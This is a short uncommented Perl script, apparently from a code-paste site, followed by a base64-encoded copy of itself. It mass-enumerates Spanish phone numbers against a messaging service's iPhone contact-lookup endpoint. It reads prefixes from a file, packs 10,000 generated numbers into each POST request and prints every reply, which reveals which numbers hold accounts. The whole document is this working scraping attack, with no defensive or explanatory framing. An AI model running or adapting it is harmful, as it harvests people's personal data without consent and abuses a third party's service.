#!/usr/bin/perl
use LWP::UserAgent;
my $ua = new LWP::UserAgent;
open A,"num.txt"; 
my @a=<A>; 
my $i=0;
foreach my $b (@a){ 
  chomp $b;
  foreach $g (0..99) { 
       $i++;
       my $post="";
       $post="cd=1&cc=34&me=600000000"; 
       foreach(0..9999) { 
               $post .= sprintf ("&u%%5B%%5D=%%2B34$b%02d%04d",$g,$_); 
       } 
       print "get $i\n";
       my $req = new HTTP::Request 'POST','https://s...content-available-to-author-only...p.net/client/iphone/iq.php';
       $req->content_type('application/x-www-form-urlencoded');
       $req->content("$post");
       my $res = $ua->request($req);
       print $res->as_string;
  }
}

IyEvdXNyL2Jpbi9wZXJsCnVzZSBMV1A6OlVzZXJBZ2VudDsKbXkgJHVhID0gbmV3IExXUDo6VXNlckFnZW50OwpvcGVuIEEsIm51bS50eHQiOyAKbXkgQGE9PEE+OyAKbXkgJGk9MDsKZm9yZWFjaCBteSAkYiAoQGEpeyAKICBjaG9tcCAkYjsKICBmb3JlYWNoICRnICgwLi45OSkgeyAKICAgICAgICRpKys7CiAgICAgICBteSAkcG9zdD0iIjsKICAgICAgICRwb3N0PSJjZD0xJmNjPTM0Jm1lPTYwMDAwMDAwMCI7IAogICAgICAgZm9yZWFjaCgwLi45OTk5KSB7IAogICAgICAgICAgICAgICAkcG9zdCAuPSBzcHJpbnRmICgiJnUlJTVCJSU1RD0lJTJCMzQkYiUwMmQlMDRkIiwkZywkXyk7IAogICAgICAgfSAKICAgICAgIHByaW50ICJnZXQgJGlcbiI7CiAgICAgICBteSAkcmVxID0gbmV3IEhUVFA6OlJlcXVlc3QgJ1BPU1QnLCdodHRwczovL3MuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLnAubmV0L2NsaWVudC9pcGhvbmUvaXEucGhwJzsKICAgICAgICRyZXEtPmNvbnRlbnRfdHlwZSgnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7CiAgICAgICAkcmVxLT5jb250ZW50KCIkcG9zdCIpOwogICAgICAgbXkgJHJlcyA9ICR1YS0+cmVxdWVzdCgkcmVxKTsKICAgICAgIHByaW50ICRyZXMtPmFzX3N0cmluZzsKICB9Cn0=